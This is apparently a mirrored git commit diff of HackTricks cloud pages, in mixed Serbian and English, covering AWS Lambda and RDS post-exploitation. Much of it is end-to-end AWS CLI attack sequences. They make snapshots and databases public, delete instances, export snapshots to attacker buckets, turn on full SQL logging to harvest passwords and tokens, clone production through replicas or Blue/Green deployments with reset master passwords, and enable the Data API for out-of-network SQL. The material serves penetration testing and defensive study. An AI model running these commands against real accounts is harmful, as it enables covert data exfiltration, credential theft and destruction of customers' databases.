mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-04 11:07:37 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws
This commit is contained in:
@@ -1,32 +1,32 @@
|
||||
# AWS - Lambda Post-eksploatacija
|
||||
# AWS - Lambda Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Lambda
|
||||
|
||||
For more information check:
|
||||
Za više informacija pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-lambda-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Eksfiltracija Lambda credentials
|
||||
### Exfilrtate Lambda Credentials
|
||||
|
||||
Lambda koristi environment variables za ubacivanje credentials u runtime. Ako možeš da im pristupiš (čitanjem `/proc/self/environ` ili korišćenjem same vulnerable function), možeš ih iskoristiti. Nalaze se u default imenima varijabli `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, and `AWS_ACCESS_KEY_ID`.
|
||||
Lambda koristi promenljive okruženja (environment variables) da ubaci kredencijale pri izvršavanju. Ako im možete pristupiti (čitanjem `/proc/self/environ` ili korišćenjem same ranjive funkcije), možete ih iskoristiti. Nalaze se u podrazumevanim imenima varijabli `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, i `AWS_ACCESS_KEY_ID`.
|
||||
|
||||
Po defaultu, ove varijable imaju pristup za pisanje u cloudwatch log group (ime koje je sačuvano u `AWS_LAMBDA_LOG_GROUP_NAME`), kao i mogućnost kreiranja proizvoljnih log grupa, mada lambda funkcije često imaju dodatne permisije dodeljene prema njihovoj nameni.
|
||||
Po defaultu, ove će imati pristup za pisanje u cloudwatch log group (čije je ime sačuvano u `AWS_LAMBDA_LOG_GROUP_NAME`), kao i mogućnost kreiranja proizvoljnih log grupa, međutim lambda funkcije često imaju više dozvola dodeljenih u zavisnosti od njihove namene.
|
||||
|
||||
### Krađa tuđih Lambda URL zahteva
|
||||
### Steal Others Lambda URL Requests
|
||||
|
||||
Ako napadač nekako dobije RCE unutar Lambda, moći će da ukrade HTTP zahteve drugih korisnika ka toj lambdi. Ako zahtevi sadrže osetljive informacije (cookies, credentials...) moći će da ih ukrade.
|
||||
Ako napadač na neki način uspe da dobije RCE unutar Lambda, moći će da ukrade HTTP zahteve drugih korisnika ka lambda. Ako zahtevi sadrže osetljive informacije (cookies, credentials...) moći će da ih ukrade.
|
||||
|
||||
{{#ref}}
|
||||
aws-warm-lambda-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### Krađa tuđih Lambda URL zahteva i zahteva ka extensions
|
||||
### Steal Others Lambda URL Requests & Extensions Requests
|
||||
|
||||
Abuziranjem Lambda Layers moguće je zloupotrebiti extensions, zadržati persistenciju u lambdi, ali i krasti i menjati zahteve.
|
||||
Zloupotrebom Lambda Layers moguće je takođe zloupotrebiti extensions i ostvariti perzistenciju u lambda, kao i ukrasti i izmeniti zahteve.
|
||||
|
||||
{{#ref}}
|
||||
../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
|
||||
@@ -34,7 +34,7 @@ Abuziranjem Lambda Layers moguće je zloupotrebiti extensions, zadržati persist
|
||||
|
||||
### AWS Lambda – VPC Egress Bypass
|
||||
|
||||
Primoraj Lambda funkciju da izađe iz ograničenog VPC ažuriranjem njene konfiguracije sa praznim VpcConfig (SubnetIds=[], SecurityGroupIds=[]). Funkcija će tada raditi u Lambda-managed networking plane, ponovo dobijajući outbound internet pristup i zaobilazeći egress kontrole koje nameću privatni VPC subneti bez NAT.
|
||||
Prinuđivanje Lambda funkcije da izađe iz ograničenog VPC ažuriranjem njene konfiguracije sa praznim VpcConfig (SubnetIds=[], SecurityGroupIds=[]). Funkcija će potom raditi u Lambda-managed networking plane, ponovo dobijajući izlazni internet pristup i zaobilaženje egress kontrola koje nameću privatni VPC subneti bez NAT.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-vpc-egress-bypass.md
|
||||
@@ -42,7 +42,7 @@ aws-lambda-vpc-egress-bypass.md
|
||||
|
||||
### AWS Lambda – Runtime Pinning/Rollback Abuse
|
||||
|
||||
Zloupotrebi `lambda:PutRuntimeManagementConfig` da zacementiraš funkciju na specifičnu verziju runtime-a (Manual) ili da zamrzneš update-ove (FunctionUpdate). Ovo čuva kompatibilnost sa malicioznim layers/wrappers i može držati funkciju na zastarelom, ranjivom runtime-u kako bi se olakšala eksploatacija i dugotrajna persistencija.
|
||||
Iskoristite `lambda:PutRuntimeManagementConfig` da pinujete funkciju na određenu verziju runtime-a (Manual) ili zamrznete ažuriranja (FunctionUpdate). Ovo održava kompatibilnost sa zlonamernim layers/wrappers i može zadržati funkciju na zastarelom, ranjivom runtime-u kako bi se olakšala eksploatacija i dugoročna perzistencija.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-runtime-pinning-abuse.md
|
||||
@@ -50,15 +50,15 @@ aws-lambda-runtime-pinning-abuse.md
|
||||
|
||||
### AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection
|
||||
|
||||
Zloupotrebi `lambda:UpdateFunctionConfiguration` napredne logging kontrole da preusmeriš logove funkcije u CloudWatch Logs log group po izboru napadača. Ovo radi bez menjanja koda ili execution role (većina Lambda role već uključuje `logs:CreateLogGroup/CreateLogStream/PutLogEvents` preko `AWSLambdaBasicExecutionRole`). Ako funkcija ispisuje tajne/tela zahteva ili se ruši sa stack trace-ovima, možeš ih prikupiti iz nove log grupe.
|
||||
Iskoristite napredne logging kontrole `lambda:UpdateFunctionConfiguration` da preusmerite logove funkcije u CloudWatch Logs log group po izboru napadača. Ovo funkcioniše bez menjanja koda ili execution role (većina Lambda rola već uključuje `logs:CreateLogGroup/CreateLogStream/PutLogEvents` preko `AWSLambdaBasicExecutionRole`). Ako funkcija ispisuje tajne/tela zahteva ili se sruši sa stack trace-ovima, možete ih prikupiti iz nove log grupe.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-loggingconfig-redirection.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS - Lambda Function URL javno izlaganje
|
||||
### AWS - Lambda Function URL Public Exposure
|
||||
|
||||
Pretvori privatni Lambda Function URL u javni neautentifikovani endpoint promenom Function URL AuthType na NONE i dodavanjem resource-based policy koja daje lambda:InvokeFunctionUrl svima. Ovo omogućava anonimno pozivanje internих funkcija i može izložiti osetljive backend operacije.
|
||||
Pretvorite privatni Lambda Function URL u javni neautentifikovani endpoint tako što ćete promeniti Function URL AuthType na NONE i priložiti resource-based policy koji dodeljuje lambda:InvokeFunctionUrl svima. Ovo omogućava anonimno pozivanje internih funkcija i može otkriti osetljive backend operacije.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-function-url-public-exposure.md
|
||||
@@ -66,7 +66,7 @@ aws-lambda-function-url-public-exposure.md
|
||||
|
||||
### AWS Lambda – Event Source Mapping Target Hijack
|
||||
|
||||
Zloupotrebi `UpdateEventSourceMapping` da promeniš ciljni Lambda function postojećeg Event Source Mapping (ESM) tako da se zapisi iz DynamoDB Streams, Kinesis, ili SQS isporučuju napadačem kontrolisanoj funkciji. Ovo tiho preusmerava žive podatke bez diranja proizvođača podataka ili originalnog koda funkcije.
|
||||
Iskoristite `UpdateEventSourceMapping` da promenite ciljnu Lambda funkciju postojeće Event Source Mapping (ESM) tako da zapisi iz DynamoDB Streams, Kinesis, ili SQS budu isporučeni funkciji pod kontrolom napadača. Ovo tiho preusmerava žive podatke bez diranja producenata ili originalnog koda funkcije.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-event-source-mapping-hijack.md
|
||||
@@ -74,7 +74,7 @@ aws-lambda-event-source-mapping-hijack.md
|
||||
|
||||
### AWS Lambda – EFS Mount Injection data exfiltration
|
||||
|
||||
Zloupotrebi `lambda:UpdateFunctionConfiguration` da prikačiš postojeći EFS Access Point na Lambda, zatim deploy-uj trivijalni kod koji listа/čita fajlove iz mountovane putanje kako bi eksfiltrirao deljene tajne/konfig koji funkcija ranije nije mogla da pristupi.
|
||||
Iskoristite `lambda:UpdateFunctionConfiguration` da prikačite postojeći EFS Access Point na Lambda, zatim deploy-ujte trivijalni kod koji nabraja/čita fajlove iz mount-ovane putanje kako biste exfiltrate-ovali deljene tajne/konfiguracije kojima funkcija ranije nije mogla da pristupi.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-efs-mount-injection.md
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## RDS
|
||||
|
||||
Za više informacija pogledajte:
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-relational-database-rds-enum.md
|
||||
@@ -12,7 +12,7 @@ Za više informacija pogledajte:
|
||||
|
||||
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
|
||||
|
||||
Ako napadač ima dovoljno dozvola, može učiniti **DB javno dostupan** kreiranjem snapshot-a DB, a zatim kreiranjem javno dostupne DB iz tog snapshot-a.
|
||||
Ako napadač ima dovoljno dozvola, može učiniti **DB javno dostupnim** kreiranjem snapshot-a DB, a zatim kreiranjem javno dostupnog DB iz tog snapshot-a.
|
||||
```bash
|
||||
aws rds describe-db-instances # Get DB identifier
|
||||
|
||||
@@ -40,9 +40,9 @@ aws rds modify-db-instance \
|
||||
```
|
||||
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
|
||||
|
||||
Napadač sa ovim privilegijama može **napraviti snapshot DB** i učiniti ga **javno** **dostupnim**. Zatim može u svom nalogu jednostavno kreirati DB iz tog snapshot-a.
|
||||
Napadač sa ovim dozvolama bi mogao **kreirati snapshot DB-a** i učiniti ga **javno** **dostupnim**. Zatim bi mogao jednostavno kreirati u svom nalogu DB iz tog snapshota.
|
||||
|
||||
Ako napadač **nema `rds:CreateDBSnapshot`**, i dalje može učiniti **druge** kreirane snapshot-e **javnim**.
|
||||
Ako napadač **nema `rds:CreateDBSnapshot`**, i dalje može učiniti **druge** kreirane snapshot-ove **javnim**.
|
||||
```bash
|
||||
# create snapshot
|
||||
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
|
||||
@@ -53,7 +53,7 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
|
||||
```
|
||||
### `rds:DownloadDBLogFilePortion`
|
||||
|
||||
Napadač koji ima `rds:DownloadDBLogFilePortion` dozvolu može **preuzeti delove log fajlova RDS instance**. Ako su osetljivi podaci ili kredencijali za pristup slučajno zabeleženi u logovima, napadač bi mogao iskoristiti te informacije za eskalaciju privilegija ili izvršavanje neovlašćenih radnji.
|
||||
Napadač sa `rds:DownloadDBLogFilePortion` dozvolom može **preuzeti delove log fajlova RDS instance**. Ako su osetljivi podaci ili pristupni kredencijali slučajno zabeleženi u logovima, napadač bi potencijalno mogao iskoristiti te informacije da eskalira privilegije ili izvrši neovlašćene radnje.
|
||||
```bash
|
||||
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
|
||||
```
|
||||
@@ -61,29 +61,29 @@ aws rds download-db-log-file-portion --db-instance-identifier target-instance --
|
||||
|
||||
### `rds:DeleteDBInstance`
|
||||
|
||||
Napadač sa ovim dozvolama može **DoS existing RDS instances**.
|
||||
Napadač sa ovim dozvolama može **DoS postojeće RDS instance**.
|
||||
```bash
|
||||
# Delete
|
||||
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
|
||||
```
|
||||
**Potencijalni uticaj**: Brisanje postojećih RDS instanci i mogući gubitak podataka.
|
||||
**Potencijalni uticaj**: Brisanje postojećih RDS instanci i potencijalni gubitak podataka.
|
||||
|
||||
### `rds:StartExportTask`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Testirati
|
||||
> TODO: Test
|
||||
|
||||
Napadač sa ovom dozvolom može **export an RDS instance snapshot to an S3 bucket**. Ako napadač kontroliše odredišni S3 bucket, može potencijalno pristupiti osetljivim podacima unutar eksportovanog snapshot-a.
|
||||
Napadač koji ima ovu dozvolu može **eksportovati RDS instance snapshot u S3 bucket**. Ako napadač ima kontrolu nad odredišnim S3 bucket-om, može potencijalno pristupiti osetljivim podacima unutar izvezenog snapshot-a.
|
||||
```bash
|
||||
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
|
||||
```
|
||||
**Potencijalni uticaj**: Pristup osetljivim podacima u izvezenom snapshot-u.
|
||||
**Mogući uticaj**: pristup osetljivim podacima u izvezenom snapshot
|
||||
|
||||
### Cross-Region Automated Backups Replication za prikriveno vraćanje (`rds:StartDBInstanceAutomatedBackupsReplication`)
|
||||
### Cross-Region Automated Backups Replication for Stealthy Restore (`rds:StartDBInstanceAutomatedBackupsReplication`)
|
||||
|
||||
Iskoristite cross-Region automated backups replication da tiho duplirate automatizovane bekape RDS instance u drugi AWS Region i tamo ih obnovite. Napadač potom može učiniti obnovljenu DB javno dostupnom i resetovati master lozinku kako bi pristupio podacima izvan nadzora u Regionu koji branitelji možda ne prate.
|
||||
Iskoristiti cross-Region automated backups replication da tiho duplirate automated backups RDS instance-a u drugi AWS Region i tamo ih restore-ujete. Napadač potom može učiniti obnovljeni DB javno dostupnim i resetovati master lozinku kako bi pristupio podacima out-of-band u Regionu koji odbrambeni timovi možda ne prate.
|
||||
|
||||
Potrebne dozvole (minimalno):
|
||||
Permissions needed (minimum):
|
||||
- `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region
|
||||
- `rds:DescribeDBInstanceAutomatedBackups` in the destination Region
|
||||
- `rds:RestoreDBInstanceToPointInTime` in the destination Region
|
||||
@@ -91,10 +91,10 @@ Potrebne dozvole (minimalno):
|
||||
- `rds:StopDBInstanceAutomatedBackupsReplication` (optional cleanup)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (to expose the restored DB)
|
||||
|
||||
Uticaj: Perzistencija i eksfiltracija podataka putem obnavljanja kopije produkcijskih podataka u drugi Region i javnog izlaganja uz kredencijale pod kontrolom napadača.
|
||||
Impact: Persistence and data exfiltration by restoring a copy of production data into another Region and exposing it publicly with attacker-controlled credentials.
|
||||
|
||||
<details>
|
||||
<summary>Kompletan CLI tok (zameniti vrednosti)</summary>
|
||||
<summary>End-to-end CLI (replace placeholders)</summary>
|
||||
```bash
|
||||
# 1) Recon (SOURCE region A)
|
||||
aws rds describe-db-instances \
|
||||
@@ -163,4 +163,445 @@ aws rds stop-db-instance-automated-backups-replication \
|
||||
</details>
|
||||
|
||||
|
||||
### Omogućite potpuno SQL logovanje preko DB parameter grupa i eksfiltrirajte preko RDS log API-ja
|
||||
|
||||
Iskoristite `rds:ModifyDBParameterGroup` zajedno sa RDS log download API-ima da zabeležite sve SQL naredbe koje aplikacije izvršavaju (nisu potrebni DB engine kredencijali). Omogućite SQL logging na engine-u i preuzmite fajl logove preko `rds:DescribeDBLogFiles` i `rds:DownloadDBLogFilePortion` (ili REST `downloadCompleteLogFile`). Korisno za prikupljanje upita koji mogu sadržati tajne/PII/JWTs.
|
||||
|
||||
Permissions needed (minimum):
|
||||
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
|
||||
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
|
||||
- `rds:ModifyDBInstance` (only to attach a custom parameter group if the instance is using the default one)
|
||||
- `rds:RebootDBInstance` (for parameters requiring reboot, e.g., PostgreSQL)
|
||||
|
||||
Steps
|
||||
1) Recon cilja i trenutne parameter grupe
|
||||
```bash
|
||||
aws rds describe-db-instances \
|
||||
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
|
||||
--output table
|
||||
```
|
||||
2) Osigurajte da je prikačen prilagođeni DB parameter group (podrazumevani se ne može izmeniti)
|
||||
- Ako instanca već koristi prilagođeni DB parameter group, ponovo upotrebite njegovo ime u sledećem koraku.
|
||||
- U suprotnom kreirajte i prikačite jedan koji odgovara engine family:
|
||||
```bash
|
||||
# Example for PostgreSQL 16
|
||||
aws rds create-db-parameter-group \
|
||||
--db-parameter-group-name ht-logs-pg \
|
||||
--db-parameter-group-family postgres16 \
|
||||
--description "HT logging"
|
||||
|
||||
aws rds modify-db-instance \
|
||||
--db-instance-identifier <DB> \
|
||||
--db-parameter-group-name ht-logs-pg \
|
||||
--apply-immediately
|
||||
# Wait until status becomes "available"
|
||||
```
|
||||
3) Omogućite detaljno SQL logovanje
|
||||
- MySQL engine-i (odmah / bez ponovnog pokretanja):
|
||||
```bash
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
--parameters \
|
||||
"ParameterName=general_log,ParameterValue=1,ApplyMethod=immediate" \
|
||||
"ParameterName=log_output,ParameterValue=FILE,ApplyMethod=immediate"
|
||||
# Optional extras:
|
||||
# "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
|
||||
# "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
|
||||
```
|
||||
- PostgreSQL engines (potreban restart):
|
||||
```bash
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
--parameters \
|
||||
"ParameterName=log_statement,ParameterValue=all,ApplyMethod=pending-reboot"
|
||||
# Optional to log duration for every statement:
|
||||
# "ParameterName=log_min_duration_statement,ParameterValue=0,ApplyMethod=pending-reboot"
|
||||
|
||||
# Reboot if any parameter is pending-reboot
|
||||
aws rds reboot-db-instance --db-instance-identifier <DB>
|
||||
```
|
||||
4) Dozvolite da workload radi (ili generišite upite). Upiti će biti zapisani u engine file logs
|
||||
- MySQL: `general/mysql-general.log`
|
||||
- PostgreSQL: `postgresql.log`
|
||||
|
||||
5) Pronađite i preuzmite logove (nisu potrebni DB kredencijali)
|
||||
```bash
|
||||
aws rds describe-db-log-files --db-instance-identifier <DB>
|
||||
|
||||
# Pull full file via portions (iterate until AdditionalDataPending=false). For small logs a single call is enough:
|
||||
aws rds download-db-log-file-portion \
|
||||
--db-instance-identifier <DB> \
|
||||
--log-file-name general/mysql-general.log \
|
||||
--starting-token 0 \
|
||||
--output text > dump.log
|
||||
```
|
||||
6) Analizirajte van mreže radi osetljivih podataka
|
||||
```bash
|
||||
grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head
|
||||
```
|
||||
Primer dokaza (redigovano):
|
||||
```text
|
||||
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!')
|
||||
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED')
|
||||
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')
|
||||
```
|
||||
Čišćenje
|
||||
- Vratiti parametre na podrazumevane vrednosti i restartovati ako je potrebno:
|
||||
```bash
|
||||
# MySQL
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
--parameters \
|
||||
"ParameterName=general_log,ParameterValue=0,ApplyMethod=immediate"
|
||||
|
||||
# PostgreSQL
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
--parameters \
|
||||
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
|
||||
# Reboot if pending-reboot
|
||||
```
|
||||
Uticaj: Post-exploitation pristup podacima hvatanjem svih SQL izjava aplikacije preko AWS API-ja (no DB creds), potencijalno leaking secrets, JWTs, and PII.
|
||||
|
||||
### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`
|
||||
|
||||
Zloupotrebite RDS read replicas da biste dobili out-of-band read access bez diranja kredencijala primary instance. Napadač može kreirati read replica iz production instance, resetovati replica's master password (ovo ne menja primary), i opciono izložiti replica javno da bi exfiltrate podataka.
|
||||
|
||||
Potrebne dozvole (minimalno):
|
||||
- `rds:DescribeDBInstances`
|
||||
- `rds:CreateDBInstanceReadReplica`
|
||||
- `rds:ModifyDBInstance`
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly)
|
||||
|
||||
Uticaj: Read-only access to production data via a replica with attacker-controlled credentials; manja verovatnoća detekcije jer primary ostaje netaknut i replication se nastavlja.
|
||||
```bash
|
||||
# 1) Recon: find non-Aurora sources with backups enabled
|
||||
aws rds describe-db-instances \
|
||||
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBInstanceArn,DBSubnetGroup.DBSubnetGroupName,VpcSecurityGroups[0].VpcSecurityGroupId,PubliclyAccessible]' \
|
||||
--output table
|
||||
|
||||
# 2) Create a permissive SG (replace <VPC_ID> and <YOUR_IP/32>)
|
||||
aws ec2 create-security-group --group-name rds-repl-exfil --description 'RDS replica exfil' --vpc-id <VPC_ID> --query GroupId --output text
|
||||
aws ec2 authorize-security-group-ingress --group-id <SGID> --ip-permissions '[{"IpProtocol":"tcp","FromPort":3306,"ToPort":3306,"IpRanges":[{"CidrIp":"<YOUR_IP/32>","Description":"tester"}]}]'
|
||||
|
||||
# 3) Create the read replica (optionally public)
|
||||
aws rds create-db-instance-read-replica \
|
||||
--db-instance-identifier <REPL_ID> \
|
||||
--source-db-instance-identifier <SOURCE_DB> \
|
||||
--db-instance-class db.t3.medium \
|
||||
--publicly-accessible \
|
||||
--vpc-security-group-ids <SGID>
|
||||
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>
|
||||
|
||||
# 4) Reset ONLY the replica master password (primary unchanged)
|
||||
aws rds modify-db-instance --db-instance-identifier <REPL_ID> --master-user-password 'NewStr0ng!Passw0rd' --apply-immediately
|
||||
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>
|
||||
|
||||
# 5) Connect and dump (use the SOURCE master username + NEW password)
|
||||
REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID> --query 'DBInstances[0].Endpoint.Address' --output text)
|
||||
# e.g., with mysql client: mysql -h "$REPL_ENDPOINT" -u <MASTER_USERNAME> -p'NewStr0ng!Passw0rd' -e 'SHOW DATABASES; SELECT @@read_only, CURRENT_USER();'
|
||||
|
||||
# Optional: promote for persistence
|
||||
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>
|
||||
```
|
||||
Primer dokaza (MySQL):
|
||||
- Status replike DB: `available`, replikacija za čitanje: `replicating`
|
||||
- Uspostavljena konekcija sa novom lozinkom i `@@read_only=1` što potvrđuje pristup repliki samo za čitanje.
|
||||
|
||||
### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`
|
||||
|
||||
Iskoristiti RDS Blue/Green za kloniranje produkcionog DB u kontinuirano replikovano, green okruženje samo za čitanje. Zatim resetovati master kredencijale za green kako biste pristupili podacima bez diranja blue (prod) instance. Ovo je diskretnije od deljenja snapshota i često zaobilazi monitoring koji je fokusiran samo na izvor.
|
||||
```bash
|
||||
# 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
|
||||
aws rds describe-db-instances \
|
||||
--query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,EngineVersion,DBSubnetGroup.DBSubnetGroupName,PubliclyAccessible]'
|
||||
|
||||
# Ensure: automated backups enabled on source (BackupRetentionPeriod > 0), no RDS Proxy, supported engine/version
|
||||
|
||||
# 2) Create Blue/Green deployment (replicates blue->green continuously)
|
||||
aws rds create-blue-green-deployment \
|
||||
--blue-green-deployment-name ht-bgd-attack \
|
||||
--source <BLUE_DB_ARN> \
|
||||
# Optional to upgrade: --target-engine-version <same-or-higher-compatible>
|
||||
|
||||
# Wait until deployment Status becomes AVAILABLE, then note the green DB id
|
||||
aws rds describe-blue-green-deployments \
|
||||
--blue-green-deployment-identifier <BGD_ID> \
|
||||
--query 'BlueGreenDeployments[0].SwitchoverDetails[0].TargetMember'
|
||||
|
||||
# Typical green id: <blue>-green-XXXX
|
||||
|
||||
# 3) Reset the green master password (does not affect blue)
|
||||
aws rds modify-db-instance \
|
||||
--db-instance-identifier <GREEN_DB_ID> \
|
||||
--master-user-password 'Gr33n!Exfil#1' \
|
||||
--apply-immediately
|
||||
|
||||
# Optional: expose the green for direct access (attach an SG that allows the DB port)
|
||||
aws rds modify-db-instance \
|
||||
--db-instance-identifier <GREEN_DB_ID> \
|
||||
--publicly-accessible \
|
||||
--vpc-security-group-ids <SG_ALLOWING_DB_PORT> \
|
||||
--apply-immediately
|
||||
|
||||
# 4) Connect to the green endpoint and query/exfiltrate (green is read‑only)
|
||||
aws rds describe-db-instances \
|
||||
--db-instance-identifier <GREEN_DB_ID> \
|
||||
--query 'DBInstances[0].Endpoint.Address' --output text
|
||||
|
||||
# Then connect with the master username and the new password and run SELECT/dumps
|
||||
# e.g. MySQL: mysql -h <endpoint> -u <master_user> -p'Gr33n!Exfil#1'
|
||||
|
||||
# 5) Cleanup – remove blue/green and the green resources
|
||||
aws rds delete-blue-green-deployment \
|
||||
--blue-green-deployment-identifier <BGD_ID> \
|
||||
--delete-target true
|
||||
```
|
||||
Uticaj: Samo za čitanje, ali potpuni pristup podacima do near-real-time klona produkcije bez izmene produkcionog instance. Korisno za stealthy data extraction i offline analizu.
|
||||
|
||||
|
||||
### Out-of-band SQL via RDS Data API by enabling HTTP endpoint + resetting master password
|
||||
|
||||
Zloupotrebite Aurora da omogućite RDS Data API HTTP endpoint na ciljnom klasteru, resetujete master password na vrednost koju kontrolišete, i izvršite SQL preko HTTPS-a (nije potreban VPC network path). Radi na Aurora engine-ima koji podržavaju Data API/EnableHttpEndpoint (npr. Aurora MySQL 8.0 provisioned; neke verzije Aurora PostgreSQL/MySQL).
|
||||
|
||||
Permissions (minimum):
|
||||
- rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
|
||||
- secretsmanager:CreateSecret
|
||||
- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
|
||||
|
||||
Uticaj: Zaobiđite mrežnu segmentaciju i exfiltrate data via AWS APIs without direct VPC connectivity to the DB.
|
||||
|
||||
<details>
|
||||
<summary>End-to-end CLI (Aurora MySQL example)</summary>
|
||||
```bash
|
||||
# 1) Identify target cluster ARN
|
||||
REGION=us-east-1
|
||||
CLUSTER_ID=<target-cluster-id>
|
||||
CLUSTER_ARN=$(aws rds describe-db-clusters --region $REGION \
|
||||
--db-cluster-identifier $CLUSTER_ID \
|
||||
--query 'DBClusters[0].DBClusterArn' --output text)
|
||||
|
||||
# 2) Enable Data API HTTP endpoint on the cluster
|
||||
# Either of the following (depending on API/engine support):
|
||||
aws rds enable-http-endpoint --region $REGION --resource-arn "$CLUSTER_ARN"
|
||||
# or
|
||||
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
--enable-http-endpoint --apply-immediately
|
||||
|
||||
# Wait until HttpEndpointEnabled is True
|
||||
aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID
|
||||
aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
--query 'DBClusters[0].HttpEndpointEnabled' --output text
|
||||
|
||||
# 3) Reset master password to attacker-controlled value
|
||||
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
--master-user-password 'Sup3rStr0ng!1' --apply-immediately
|
||||
# Wait until pending password change is applied
|
||||
while :; do
|
||||
aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID
|
||||
P=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
--query 'DBClusters[0].PendingModifiedValues.MasterUserPassword' --output text)
|
||||
[[ "$P" == "None" || "$P" == "null" ]] && break
|
||||
sleep 10
|
||||
done
|
||||
|
||||
# 4) Create a Secrets Manager secret for Data API auth
|
||||
SECRET_ARN=$(aws secretsmanager create-secret --region $REGION --name rdsdata/demo-$CLUSTER_ID \
|
||||
--secret-string '{"username":"admin","password":"Sup3rStr0ng!1"}' \
|
||||
--query ARN --output text)
|
||||
|
||||
# 5) Prove out-of-band SQL via HTTPS using rds-data
|
||||
# (Example with Aurora MySQL; for PostgreSQL, adjust SQL and username accordingly)
|
||||
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
|
||||
--secret-arn "$SECRET_ARN" --database mysql --sql "create database if not exists demo;"
|
||||
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
|
||||
--secret-arn "$SECRET_ARN" --database demo --sql "create table if not exists pii(note text);"
|
||||
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
|
||||
--secret-arn "$SECRET_ARN" --database demo --sql "insert into pii(note) values ('token=SECRET_JWT');"
|
||||
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
|
||||
--secret-arn "$SECRET_ARN" --database demo --sql "select current_user(), now(), (select count(*) from pii) as row_count;" \
|
||||
--format-records-as JSON
|
||||
```
|
||||
</details>
|
||||
|
||||
Napomene:
|
||||
- Ako rds-data odbije multi-statement SQL, pošaljite odvojene execute-statement pozive.
|
||||
- Za engine gde modify-db-cluster --enable-http-endpoint nema efekta, koristite rds enable-http-endpoint --resource-arn.
|
||||
- Proverite da li engine/version zaista podržava Data API; u suprotnom HttpEndpointEnabled će ostati False.
|
||||
|
||||
|
